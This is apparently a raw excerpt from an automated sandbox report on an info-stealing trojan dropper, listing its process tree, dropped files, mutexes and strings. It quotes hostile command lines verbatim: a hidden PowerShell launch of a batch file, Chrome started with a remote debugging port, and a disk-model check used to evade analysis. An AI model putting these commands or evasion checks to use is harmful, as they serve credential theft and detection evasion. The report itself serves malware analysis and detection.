Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C479590	7_2_6C479590
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C495640	7_2_6C495640
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C459650	7_2_6C459650
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C469600	7_2_6C469600
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4B7610	7_2_6C4B7610
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4716A0	7_2_6C4716A0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A96A0	7_2_6C4A96A0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4AD710	7_2_6C4AD710
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C463720	7_2_6C463720
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C519720	7_2_6C519720
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5837C0	7_2_6C5837C0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4CB7A0	7_2_6C4CB7A0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: String function: 0076A570 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: String function: 00763F50 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: String function: 00E83F50 appears 272 times
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: String function: 00E9844C appears 34 times
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: String function: 00E8A570 appears 110 times
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: String function: 00E92438 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: String function: 00E89D21 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: String function: 6C469B10 appears 109 times
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: String function: 6C5C09D0 appears 242 times
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: String function: 6C5CD930 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: String function: 6C5CDAE0 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: String function: 6C579F30 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: String function: 6C49C5E0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: String function: 6C463620 appears 98 times

Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 804

Source: Anv6Gbh51e.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: Section: bxjzjhpy ZLIB complexity 0.9948623162321916
Source: Yg1HwMX[1].exe.12.dr	Static PE information: Section: .css ZLIB complexity 1.0003294785334347
Source: Yg1HwMX.exe.12.dr	Static PE information: Section: .css ZLIB complexity 1.0003294785334347

Source: 0iMSdYX[1].exe.12.dr, PoXllSp52DYI9c7vxIQkeFeaSzj2FV3gL3ozQN4hW9msdxMi4vtfk7DpTNzC9cPDH8S6yVNzPdDUBt3U.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0iMSdYX.exe.12.dr, PoXllSp52DYI9c7vxIQkeFeaSzj2FV3gL3ozQN4hW9msdxMi4vtfk7DpTNzC9cPDH8S6yVNzPdDUBt3U.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0iMSdYX[1].exe.12.dr, A24BTdvJoNsHpyKycc7asHEBJuqbOLuihhOTC9aSPzPOC405LbUp6raHV0vk39.cs	Base64 encoded string: 'GvxwTeZbBd5fQ0WM5ZussCcCXx1Q8Cn9xxsZ4iHok6z6WJHCgTNohhMpEIbOd1FS2oOgVra3tZYVvRtZ'
Source: 0iMSdYX.exe.12.dr, A24BTdvJoNsHpyKycc7asHEBJuqbOLuihhOTC9aSPzPOC405LbUp6raHV0vk39.cs	Base64 encoded string: 'GvxwTeZbBd5fQ0WM5ZussCcCXx1Q8Cn9xxsZ4iHok6z6WJHCgTNohhMpEIbOd1FS2oOgVra3tZYVvRtZ'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@46/72@14/11

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe

Code function: 7_2_6C4A0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

7_2_6C4A0300

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\TKNFYPGT.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2144:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3164
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5180:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Mutant created: \Sessions\1\BaseNamedObjects\YzpdfYwZeHF3jVb1V

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe

File created: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" "

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.7.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578623927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.7.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578623927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578623927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578623927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.7.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.7.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.7.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.7.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.7.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578623927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578623927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578623927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.7.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: Anv6Gbh51e.exe, 00000000.00000003.1789830597.0000000005456000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1789283094.000000000543B000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000003.2403434654.00000000054C5000.00000004.00000020.00020000.00000000.sdmp, C7C4587D4A938A40.dat.0.dr, 26594EBEA01EDA07.dat.21.dr, IECGHJKKJDHIEBFHCAKE.7.dr, 4796555B71DA21BC.dat.21.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578623927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.7.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578623927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.7.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: Anv6Gbh51e.exe	Virustotal: Detection: 55%
Source: Anv6Gbh51e.exe	ReversingLabs: Detection: 68%

Source: NKJ797NQF61QBFM5Y63P3Y.exe	String found in binary or memory: " /add
Source: NKJ797NQF61QBFM5Y63P3Y.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe

File read: C:\Users\user\Desktop\Anv6Gbh51e.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Anv6Gbh51e.exe "C:\Users\user\Desktop\Anv6Gbh51e.exe"
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Process created: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe "C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe"
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Process created: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe "C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe"
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2072,i,5271439953477770130,18017853151597838007,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe "C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe"
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Roaming\nahprot.bat' -ArgumentList 'gOsYxjsoymkBmrzpQYy' -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" gOsYxjsoymkBmrzpQYy "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe "C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe "C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe"
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process created: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe "C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe"
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 804
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe "if ((Get-WmiObject Win32_DiskDrive \| Select-Object -ExpandProperty Model \| findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse \| Where-Object { -not $_.PSIsContainer } \| Measure-Object).Count)) {exit 900} else {exit 1}"
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Process created: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe "C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Process created: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe "C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" gOsYxjsoymkBmrzpQYy "	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2072,i,5271439953477770130,18017853151597838007,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe "C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe "C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe "C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Roaming\nahprot.bat' -ArgumentList 'gOsYxjsoymkBmrzpQYy' -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\nahprot.bat" gOsYxjsoymkBmrzpQYy "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe "if ((Get-WmiObject Win32_DiskDrive \| Select-Object -ExpandProperty Model \| findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse \| Where-Object { -not $_.PSIsContainer } \| Measure-Object).Count)) {exit 900} else {exit 1}"
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process created: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe "C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe"

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
